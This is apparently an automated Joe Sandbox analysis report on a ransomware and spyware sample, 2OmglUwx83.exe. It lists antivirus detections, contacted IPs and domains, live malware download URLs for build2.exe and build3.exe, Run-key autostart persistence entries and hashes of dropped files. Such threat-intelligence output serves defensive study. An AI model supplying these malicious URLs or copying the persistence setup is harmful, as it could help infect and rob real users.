8.0.2OmglUwx83.exe.400000.6.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
23627

9.0.2OmglUwx83.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
23627

11.2.2OmglUwx83.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
23627

8.0.2OmglUwx83.exe.400000.9.unpack 100% Avira HEUR/AGEN.12
23627

8.0.2OmglUwx83.exe.400000.5.unpack 100% Avira HEUR/AGEN.12
23627

13.2.build2.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
24181

15.2.2OmglUwx83.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.10.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.6.unpack 100% Avira HEUR/AGEN.12
23627

9.2.2OmglUwx83.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.8.unpack 100% Avira HEUR/AGEN.12
23627

12.2.build2.exe.5f15a0.1.unpack 100% Avira TR/Crypt.XPAC
K.Gen

9.0.2OmglUwx83.exe.400000.8.unpack 100% Avira HEUR/AGEN.12
23627

9.0.2OmglUwx83.exe.400000.10.unpack 100% Avira HEUR/AGEN.12
23627

9.0.2OmglUwx83.exe.400000.6.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.5.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.9.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.9.unpack 100% Avira HEUR/AGEN.12
23627

8.0.2OmglUwx83.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.7.unpack 100% Avira HEUR/AGEN.12
23627

13.0.build2.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
24170

8.2.2OmglUwx83.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
23627

15.0.2OmglUwx83.exe.400000.6.unpack 100% Avira HEUR/AGEN.12
23627

9.0.2OmglUwx83.exe.400000.9.unpack 100% Avira HEUR/AGEN.12
23627

13.0.build2.exe.400000.5.unpack 100% Avira HEUR/AGEN.12
24170

13.0.build2.exe.400000.6.unpack 100% Avira HEUR/AGEN.12
24170

9.0.2OmglUwx83.exe.400000.5.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.8.unpack 100% Avira HEUR/AGEN.12
23627

1.2.2OmglUwx83.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.5.unpack 100% Avira HEUR/AGEN.12
23627

9.0.2OmglUwx83.exe.400000.7.unpack 100% Avira HEUR/AGEN.12
23627

Source Detection Scanner Label Link Download

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File

Download File
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8.0.2OmglUwx83.exe.400000.8.unpack 100% Avira HEUR/AGEN.12
23627

1.0.2OmglUwx83.exe.400000.10.unpack 100% Avira HEUR/AGEN.12
23627

13.0.build2.exe.400000.7.unpack 100% Avira HEUR/AGEN.12
24170

13.0.build2.exe.400000.8.unpack 100% Avira HEUR/AGEN.12
24170

8.0.2OmglUwx83.exe.400000.10.unpack 100% Avira HEUR/AGEN.12
23627

Source Detection Scanner Label Link Download

⊘ No Antivirus matches

Source Detection Scanner Label Link

49.12.9.140:1080/2277399138.zipF 0% Avira URL Cloud safe

49.12.9.140:1080/2277399138.zipJ 0% Avira URL Cloud safe

49.12.9.140:1080/1Y 0% Avira URL Cloud safe

49.12.9.140:1080/) 0% Avira URL Cloud safe

rgyui.top/dl/build2.exe 100% Avira URL Cloud malware

acacaca.org/test2/get.php?pid=3C8DAB0A318E3BBE55D6418C454BF200&first=true 100% Avira URL Cloud malware

https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error 0% Avira URL Cloud safe

49.12.9.140/ppData 0% Avira URL Cloud safe

rgyui.top/dl/build2.exe$run 100% Avira URL Cloud malware

https://mas.to/ 0% URL Reputation safe

49.12.9.140:1080/nS 0% Avira URL Cloud safe

49.12.9.140:1080/C 0% Avira URL Cloud safe

49.12.9.140:1080/517 0% Avira URL Cloud safe

acacaca.org/files/1/build3.exe 100% Avira URL Cloud malware

49.12.9.140:1080;Dx66 0% Avira URL Cloud safe

acacaca.org/files/1/build3.exerun0d 100% Avira URL Cloud malware

49.12.9.140/rontdesk 0% Avira URL Cloud safe

https://we.tl/t-QsoSRIeA 0% Avira URL Cloud safe

49.12.9.140:1080/a 0% Avira URL Cloud safe

49.12.9.140:1080/n 0% Avira URL Cloud safe

49.12.9.140/r 0% Avira URL Cloud safe

https://we.tl/t-QsoSRIeAK6 0% Avira URL Cloud safe

acacaca.org/test2/get.php 100% Avira URL Cloud malware

49.12.9.140:1080/2277399138.zip 0% Avira URL Cloud safe

acacaca.org/files/1/build3.exed5 100% Avira URL Cloud malware

rgyui.top/dl/build2.exerunb4e97Bx 100% Avira URL Cloud malware

49.12.9.140:1080/2277399138.zipm 0% Avira URL Cloud safe

49.12.9.140/ 0% Avira URL Cloud safe

rgyui.top/dl/build2.exe~ 100% Avira URL Cloud malware

www.wikipedia.com/ 0% URL Reputation safe

49.12.9.140:1080 0% Avira URL Cloud safe

acacaca.org/files/1/build3.exe$run 100% Avira URL Cloud malware

49.12.9.140:1080/ 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

rgyui.top 151.251.24.5 true true unknown

t.me 149.154.167.99 true false high

Download File

Download File

Download File

Download File

Download File

Domains

URLs

Domains and IPs

Contacted Domains
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api.2ip.ua 162.0.217.254 true false high

acacaca.org 5.163.244.118 true true unknown

Name IP Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

rgyui.top/dl/build2.exe true Avira URL Cloud: malware unknown

acacaca.org/test2/get.php?pid=3C8DAB0A318E3BBE55D6418C454BF200&first=true true Avira URL Cloud: malware unknown

https://t.me/pegasusfly1 false high

49.12.9.140:1080/517 false Avira URL Cloud: safe unknown

acacaca.org/files/1/build3.exe true Avira URL Cloud: malware unknown

https://api.2ip.ua/geo.json false high

acacaca.org/test2/get.php true Avira URL Cloud: malware unknown

49.12.9.140:1080/2277399138.zip false Avira URL Cloud: safe unknown

49.12.9.140:1080/ false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

https://api.2ip.ua/geo.jsonrO 2OmglUwx83.exe, 00000008.00000003.382768
151.0000000000857000.00000004.00000020.0
0020000.00000000.sdmp

false high

https://duckduckgo.com/chrome_newtab build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

https://t.me/ build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false high

https://duckduckgo.com/ac/?q= build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

https://web.telegram.org build2.exe, 0000000D.00000003.420871473.
00000000006BB000.00000004.00000020.00020
000.00000000.sdmp

false high

49.12.9.140:1080/2277399138.zipF build2.exe, 0000000D.00000003.426193570.
00000000006B3000.00000004.00000020.00020
000.00000000.sdmp, build2.exe, 0000000D.
00000003.429044334.00000000006B6000.0000
0004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

49.12.9.140:1080/2277399138.zipJ build2.exe, 0000000D.00000003.426193570.
00000000006B3000.00000004.00000020.00020
000.00000000.sdmp, build2.exe, 0000000D.
00000003.429044334.00000000006B6000.0000
0004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.amazon.com/ 2OmglUwx83.exe, 00000008.00000003.446980
506.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

49.12.9.140:1080/1Y build2.exe, 0000000D.00000002.618087943.
0000000000697000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.twitter.com/ 2OmglUwx83.exe, 00000008.00000003.451162
735.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

https://t.me/pegasusfly11 build2.exe, 0000000D.00000003.421331179.
00000000006BB000.00000004.00000020.00020
000.00000000.sdmp

false high

49.12.9.140:1080/) build2.exe, 0000000D.00000002.618087943.
0000000000697000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.openssl.org/support/faq.html 2OmglUwx83.exe, 0000000F.00000002.430133
993.0000000000400000.00000040.00000400.0
0020000.00000000.sdmp

false high

Contacted URLs

URLs from Memory and Binaries
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https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugn
s4.andromath.ug/Error

2OmglUwx83.exe, 00000000.00000002.355123
959.0000000002290000.00000040.00001000.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000001.00000002.363606430.0000000000400
000.00000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 00000001.00000000.353098499.
0000000000400000.00000040.00000400.00020
000.00000000.sdmp, 2OmglUwx83.exe, 00000
001.00000000.351375798.0000000000400000.
00000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 00000006.00000002.3822
28538.00000000021F0000.00000040.00001000
.00020000.00000000.sdmp, 2OmglUwx83.exe, 
00000007.00000002.424010722.00000000022
A0000.00000040.00001000.00020000.0000000
0.sdmp, 2OmglUwx83.exe, 00000008.0000000
0.379648338.0000000000400000.00000040.00
000400.00020000.00000000.sdmp, 2OmglUwx83.exe, 
00000008.00000000.377762737.000000000040000
0.00000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 00000008.00000002.613049042.00
00000000400000.00000040.00000400.0002000
0.00000000.sdmp, 2OmglUwx83.exe, 0000000
9.00000000.392479956.0000000000400000.00
000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 00000009.00000002.426411
812.0000000000400000.00000040.00000400.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000009.00000000.389703574.0000000000400
000.00000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 0000000A.00000002.405620904.
0000000002340000.00000040.00001000.00020
000.00000000.sdmp, 2OmglUwx83.exe, 00000
00B.00000002.408000172.0000000000400000.
00000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 0000000B.00000000.3988
86429.0000000000400000.00000040.00000400
.00020000.00000000.sdmp, 2OmglUwx83.exe, 
0000000B.00000000.397080958.00000000004
00000.00000040.00000400.00020000.0000000
0.sdmp, 2OmglUwx83.exe, 0000000E.0000000
2.427528493.0000000002210000.00000040.00
001000.00020000.00000000.sdmp, 2OmglUwx83.exe, 
0000000F.00000000.425104342.000000000040000
0.00000040.00000400.00020000.00000000.sdmp, 
2OmglUwx83.exe, 0000000F.00000000.423610387.00
00000000400000.00000040.00000400.0002000
0.00000000.sdmp, 2OmglUwx83.exe, 0000000
F.00000002.430133993.0000000000400000.00
000040.00000400.00020000.00000000.sdmp

false Avira URL Cloud: safe low

49.12.9.140/ppData build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

rgyui.top/dl/build2.exe$run 2OmglUwx83.exe, 00000008.00000002.619234
248.00000000008B6000.00000004.00000020.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000008.00000002.618329989.000000000089D
000.00000004.00000020.00020000.00000000.sdmp

true Avira URL Cloud: malware unknown

https://mas.to/ build2.exe, 0000000D.00000000.409643469.
0000000000400000.00000040.00000400.00020
000.00000000.sdmp, build2.exe, 0000000D.
00000000.410137244.0000000000400000.0000
0040.00000400.00020000.00000000.sdmp, bu
ild2.exe, 0000000D.00000002.613626255.00
00000000400000.00000040.00000400.0002000
0.00000000.sdmp

false URL Reputation: safe unknown

https://api.2ip.ua/n 2OmglUwx83.exe, 00000008.00000002.617874
262.0000000000859000.00000004.00000020.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000008.00000003.382768151.0000000000857
000.00000004.00000020.00020000.00000000.sdmp

false high

49.12.9.140:1080/nS build2.exe, 0000000D.00000002.618087943.
0000000000697000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

49.12.9.140:1080/C build2.exe, 0000000D.00000002.618087943.
0000000000697000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.reddit.com/ 2OmglUwx83.exe, 00000008.00000003.450756
863.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

www.nytimes.com/ 2OmglUwx83.exe, 00000008.00000003.450139
669.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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https://www.google.com/images/branding/product/ico/g
oogleg_lodp.ico

build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

49.12.9.140:1080;Dx66 build2.exe, 0000000D.00000002.620168713.
00000000022C0000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe low

acacaca.org/files/1/build3.exerun0d 2OmglUwx83.exe, 00000008.00000002.617874
262.0000000000859000.00000004.00000020.0
0020000.00000000.sdmp

true Avira URL Cloud: malware unknown

49.12.9.140/rontdesk build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://t.me/pegasusfly1https://mas.to/ build2.exe, 0000000D.00000000.409643469.
0000000000400000.00000040.00000400.00020
000.00000000.sdmp, build2.exe, 0000000D.
00000000.410137244.0000000000400000.0000
0040.00000400.00020000.00000000.sdmp, bu
ild2.exe, 0000000D.00000002.613626255.00
00000000400000.00000040.00000400.0002000
0.00000000.sdmp

false high

https://we.tl/t-QsoSRIeA 2OmglUwx83.exe, 00000008.00000002.620281
101.00000000008DA000.00000004.00000020.0
0020000.00000000.sdmp

true Avira URL Cloud: safe unknown

https://duckduckgo.com/favicon.icohttps://duckduckgo.
com/?q=

build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

https://search.yahoo.com/favicon.icohttps://search.yah
oo.com/search

build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

49.12.9.140:1080/a build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

49.12.9.140:1080/n build2.exe, 0000000D.00000002.618087943.
0000000000697000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

49.12.9.140/r build2.exe, 0000000D.00000002.618087943.
0000000000697000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://we.tl/t-QsoSRIeAK6 2OmglUwx83.exe, 00000008.00000002.619234
248.00000000008B6000.00000004.00000020.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000008.00000002.620281101.00000000008DA
000.00000004.00000020.00020000.00000000.sdmp, 
_readme.txt0.8.dr

true Avira URL Cloud: safe unknown

https://ac.ecosia.org/autocomplete?q= build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

https://t.me/pegasusfly1w build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false high

acacaca.org/files/1/build3.exed5 2OmglUwx83.exe, 00000008.00000002.619234
248.00000000008B6000.00000004.00000020.0
0020000.00000000.sdmp

true Avira URL Cloud: malware unknown

rgyui.top/dl/build2.exerunb4e97Bx 2OmglUwx83.exe, 00000008.00000002.617874
262.0000000000859000.00000004.00000020.0
0020000.00000000.sdmp

true Avira URL Cloud: malware unknown

www.youtube.com/ 2OmglUwx83.exe, 00000008.00000003.459725
373.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

49.12.9.140:1080/2277399138.zipm build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://api.2ip.ua/J 2OmglUwx83.exe, 00000008.00000002.617874
262.0000000000859000.00000004.00000020.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000008.00000003.382768151.0000000000857
000.00000004.00000020.00020000.00000000.sdmp

false high

49.12.9.140/ build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

rgyui.top/dl/build2.exe~ 2OmglUwx83.exe, 00000008.00000002.618329
989.000000000089D000.00000004.00000020.0
0020000.00000000.sdmp

true Avira URL Cloud: malware unknown

Name Source Malicious Antivirus Detection Reputation
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www.wikipedia.com/ 2OmglUwx83.exe, 00000008.00000003.451796
823.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false URL Reputation: safe unknown

www.live.com/ 2OmglUwx83.exe, 00000008.00000003.449617
423.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

https://t.me/& build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false high

49.12.9.140:1080 build2.exe, 0000000D.00000003.421064532.
00000000006AF000.00000004.00000020.00020
000.00000000.sdmp, build2.exe, 0000000D.
00000002.620168713.00000000022C0000.0000
0004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

acacaca.org/files/1/build3.exe$run 2OmglUwx83.exe, 00000008.00000002.619234
248.00000000008B6000.00000004.00000020.0
0020000.00000000.sdmp, 2OmglUwx83.exe, 0
0000008.00000002.618329989.000000000089D
000.00000004.00000020.00020000.00000000.sdmp

true Avira URL Cloud: malware unknown

https://cdn.ecosia.org/assets/images/ico/favicon.icohttp
s://www.ecosia.org/search?q=

build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

https://t.me/pegasusfly17&A build2.exe, 0000000D.00000002.616887560.
0000000000671000.00000004.00000020.00020
000.00000000.sdmp

false high

https://search.yahoo.com/sugg/chrome?
output=fxjson&appid=crmas&command=

build2.exe, 0000000D.00000003.428990871.
00000000279A1000.00000004.00000800.00020
000.00000000.sdmp, 053224936056235969859
69059.13.dr, 71094135503925161979660642.13.dr

false high

www.google.com/ 2OmglUwx83.exe, 00000008.00000003.448986
440.0000000002F30000.00000004.00001000.0
0020000.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

49.12.9.140 unknown Germany 24940 HETZNER-ASDE false

162.0.217.254 api.2ip.ua Canada 35893 ACPCA false

151.251.24.5 rgyui.top Bulgaria 13124 IBGCBG true

5.163.244.118 acacaca.org Saudi Arabia 25019 SAUDINETSTC-ASSA true

World Map of Contacted IPs

Public IPs
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149.154.167.99 t.me United Kingdom 62041 TELEGRAMRU false

IP Domain Country Flag ASN ASN Name Malicious

IP

192.168.2.1

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 679173

Start date and time: 05/08/202211:21:09 2022-08-05 11:21:09 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 12m 39s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 2OmglUwx83.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

24

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.rans.troj.spyw.evad.winEXE@22/447@8/6

EGA Information: Successful, ratio: 100%

HDC Information: Successful, ratio: 29.5% (good quality ratio 28%)
Quality average: 78.8%
Quality standard deviation: 27.3%

HCA Information: Successful, ratio: 91%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (wh itelisted): 23.211.6.115
Excluded domains from analysis (whitelisted): www.bing.com, e12564.dspb.akamaiedge.net, client.wns.windows.com, login.live.com, store-images.s-microsoft.com,
ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior  information
Report creation exceeded maximum time and may have missing d isassembly code information.
Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryAttributesFile calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.
Report size getting too big, t oo many NtReadVirtualMemory ca lls found.
Report size getting too big, t oo many NtSetInformationFile calls found.
Report size getting too big, t oo many NtWriteFile calls found.

Private

General Information

Warnings
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Time Type Description

11:23:04 Task Scheduler Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a621
69\2OmglUwx83.exe s>--Task

11:23:04 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\dc8ee
5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart

11:23:13 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\dc8
ee5c2-8cfe-4224-95e9-01d5d6a62169\2OmglUwx83.exe" --AutoStart

11:23:14 API Interceptor 1x Sleep call for process: 2OmglUwx83.exe modified

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
7CE

Malicious: false

Reputation: high, very likely benign file

Preview: SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\05322493605623596985969059
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Process: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 118784

Entropy (8bit): 0.4588965670203364

Encrypted: false

SSDEEP: 48:T1YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:OWU+bDoYysX0uhnydVjN9DLjGQLBE3u

MD5: 16C3DE08951964D7D40D5205692A3D82

SHA1: EA06159A8A50E853806DD09F830B0C39E3374E75

SHA-256: 2DB39320E9691AC1690723A33BC7AA2330B1B63621B3AFAEDBEB0E10463192F5

SHA-512: E0B54313A7A6188DC711CCDC7854CEF3456D79BA1E29AF7BD7310733B03167434D063C3D51DBB63D426919088104D46CA42815DEF9337B4C604F1DD0150CCE5
A

Malicious: false

Reputation: moderate, very likely benign file

Preview: SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Process: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 118784

Entropy (8bit): 0.4588965670203364

Encrypted: false

SSDEEP: 48:T1YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:OWU+bDoYysX0uhnydVjN9DLjGQLBE3u

MD5: 16C3DE08951964D7D40D5205692A3D82

SHA1: EA06159A8A50E853806DD09F830B0C39E3374E75

SHA-256: 2DB39320E9691AC1690723A33BC7AA2330B1B63621B3AFAEDBEB0E10463192F5

SHA-512: E0B54313A7A6188DC711CCDC7854CEF3456D79BA1E29AF7BD7310733B03167434D063C3D51DBB63D426919088104D46CA42815DEF9337B4C604F1DD0150CCE5
A

Malicious: false

Preview: SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Process: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit): 1.1874185457069584

Encrypted: false

SSDEEP: 96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0A920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
7CE

Malicious: false

Preview: SQLite format 3......@  .......$..................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Process: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

C:\ProgramData\26935466222163289633987941

C:\ProgramData\57030713821379500194956248

C:\ProgramData\71094135503925161979660642

C:\ProgramData\74995908947202801370833703
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Size (bytes): 20480

Entropy (8bit): 0.6969296358976265

Encrypted: false

SSDEEP: 24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ

MD5: A9DBC7B8E523ABE3B02D77DBF2FCD645

SHA1: DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8

SHA-256: 39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE

SHA-512: 3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3
B

Malicious: false

Preview: SQLite format 3......@  ..........................................................................C....... ..g... .8......................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Process: C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit): 0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw

MD5: 81DB1710BB13DA3343FC0DF9F00BE49F

SHA1: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

Malicious: false

Preview: SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 42

Entropy (8bit): 4.898153434632012

Encrypted: false

SSDEEP: 3:C4RTVuTEXfeUy:CuJuTEXWp

MD5: A5C9EE2B0C08FDCD4326AC255F09EFB3

